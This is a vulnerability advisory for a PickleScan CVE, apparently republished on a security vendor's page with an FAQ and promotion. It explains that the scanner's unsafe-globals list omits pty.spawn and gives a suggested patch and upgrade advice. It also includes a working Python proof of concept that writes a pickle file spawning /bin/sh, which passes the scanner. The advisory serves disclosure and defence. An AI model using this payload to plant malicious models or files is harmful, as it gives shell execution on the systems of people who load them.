CVE-2025-71322

The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the pty library (more specifically, of the pty.spawn function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.

Details

For 2025's HeroCTF, there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and Fickling to gain code execution. The challenge writeup, files and solve script have all been released.

The intended way was to use pty.spawn but some players found alternative solutions.

PoC

• Run the following Python code to generate the PoC pickle file.

import pickle

command = b"/bin/sh"

payload = b"".join(
    [
        pickle.PROTO + pickle.pack("B", 4),
        pickle.MARK,
        pickle.GLOBAL + b"pty\n" + b"spawn\n",
        pickle.EMPTY_LIST,
        pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command,
        pickle.APPEND,
        # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes
        pickle.OBJ,
        pickle.STOP,
    ]
)

with open("dump.pkl", "wb") as f:
    f.write(payload)

• Run PickleScan on the generated pickle file.

PickleScan detects the pty.spawn global as "suspicious" but not "dangerous", allowing it to be loaded.

Suggested Patch

diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py
index 34a5715..b434069 100644
--- a/src/picklescan/scanner.py
+++ b/src/picklescan/scanner.py
@@ -150,6 +150,7 @@ _unsafe_globals = {
     "_pickle": "*",
     "pip": "*",
     "profile": {"Profile.run", "Profile.runctx"},
+    "pty": "spawn",
     "pydoc": "pipepager",  # pydoc.pipepager('help','echo pwned')
     "timeit": "*",
     "torch._dynamo.guards": {"GuardBuilder.get"},

Severity: High
Affected Users: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.
Impact Details: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the pty.spawn function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.

CVE-2025-71322 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.33); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-71322? CVE-2025-71322 is a high-severity security vulnerability in picklescan (pip), affecting versions < 0.0.33. It is fixed in 0.0.33.
2. How severe is CVE-2025-71322? CVE-2025-71322 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of picklescan are affected by CVE-2025-71322? picklescan (pip) versions < 0.0.33 is affected.
4. Is there a fix for CVE-2025-71322? Yes. CVE-2025-71322 is fixed in 0.0.33. Upgrade to this version or later.
5. Is CVE-2025-71322 exploitable, and should I be worried? Whether CVE-2025-71322 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-71322 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-71322? Upgrade picklescan to 0.0.33 or later.